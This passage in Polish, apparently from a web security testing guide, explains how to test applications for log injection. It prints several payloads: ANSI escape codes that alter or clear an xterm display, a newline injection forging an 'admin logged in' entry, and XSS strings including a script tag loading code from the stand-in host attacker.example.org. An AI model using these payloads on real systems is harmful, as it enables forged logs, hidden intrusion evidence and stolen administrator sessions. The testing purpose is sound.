Zagrożenia w sieci

Zapisy w dziennikach

Problem

Chociaż atak polegający na wstrzykiwaniu zapisów w dziennikach nie umożliwił napastnikowi uzyskania nieuprawnionego dostępu do systemu, może zostać wykorzystany do sfałszo­wania zapisów w plikach dzienników. Takie działania mogą utrudnić operacje śledcze, ponieważ napastnik może ukryć prawidłowe zapisy w dzienniku świadczące o przeprowadzonych atakach. Jeśli pliki dzienników są przeglądane w aplikacji internetowej, to w ten sposób moż­na również wykraść sesję administratora lub operatora.

 

Jeśli pliki dzienników są przeglądane w programie xterm za pomocą takich poleceń jak cat i tail, to można wprowadzić złośliwe dane wejściowe postaci %1B%5B41m%1B%5B37m w polach wejściowych, dla których istnieje prawdopodobieństwo zarejestrowania w plikach dzienni­ków (na przykład nazwa użytkownika na stronie logowania).

Jeśli pliki dzienników są przeglądane w aplikacji internetowej, należy wprowadzić ciąg ataku XSS postaci <script>alert("XSS! ");</script> w polach wejściowych, dla których istnieje prawdopodobieństwo zarejestrowania w plikach dzienników (na przykład nazwa użytkow­nika na stronie logowania).

Następnie należy przejrzeć pliki dzienników. Jeśli aplikacja jest wrażliwa na ataki wstrzyki­wania zapisów w dziennikach, to w pierwszym przypadku — przeglądania plików dzienni­ków w programie xterm — tekst za wstrzykniętym ciągiem zmieni kolor na biały na czerwo­nym tle. W drugim przypadku, kiedy plik dziennika jest przeglądany w przeglądarce WWW, wyświetli się okno dialogowe zawierające tekst XSS!.

Pokazane testowe dane wejściowe pozwoliły na łatwe stwierdzenie podatności aplikacji na wstrzykiwanie zapisów w plikach dzienników w dwóch różnych scenariuszach. Złośliwe te­stowe dane wejściowe zastosowane w ramach testu przyjęły następujące formy:

%1B%5B%32%4A

%0AUser admin logged in

<script src="http://attacker.example.org/xss_exploit.js"/>

Pierwsza z nich zeruje cały ekran w przypadku przeglądania pliku dziennika w programie xterm. W ten sposób zapisy poprzedzające wstrzyknięty tekst znikają z ekranu.

Druga powoduje wstawienie nowego wiersza w plikach dzienników. W związku z tym pod­czas przeglądania dziennika w programie xterm pojawił się sfałszowany wpis „User admin logged in", tak jak pokazano poniżej:

Authentication failed    for          user: jsmith at 08:01:54.21

Authentication failed    for          user: mjones at 08:01:55.10

Authentication failed    for          user:User admin logged in at 08:01:55.93

Authentication failed    for          user: bbaker at 08:01:56.55

Trzeci wpis powoduje wstawienie dowolnego kodu JavaScript do plików dzienników. Dzięki temu napastnik może uzyskać pełną kontrolę nad tym, co operator lub administrator zobaczy podczas przeglądania plików dzienników.

DYSKUSJA

Istnieje kilka typów ataków wstrzykiwania wpisów w plikach dzienników, które zależą od formatu pliku dzienników oraz sposobu, w jaki są one przeglądane przez operatorów i ad­ministratorów. We wszystkich omawianych przypadkach napastnik zyskuje pewną kontrolę nad tym, co widzi osoba przeglądająca pliki dzienników. Wstrzykiwanie zapisów w dzienni­kach to skuteczny sposób ukrywania dowodów przeprowadzania ataków (pomyślnych lub nie) oraz uruchamiania składowanych ataków XSS przeciwko operatorom i administratorom.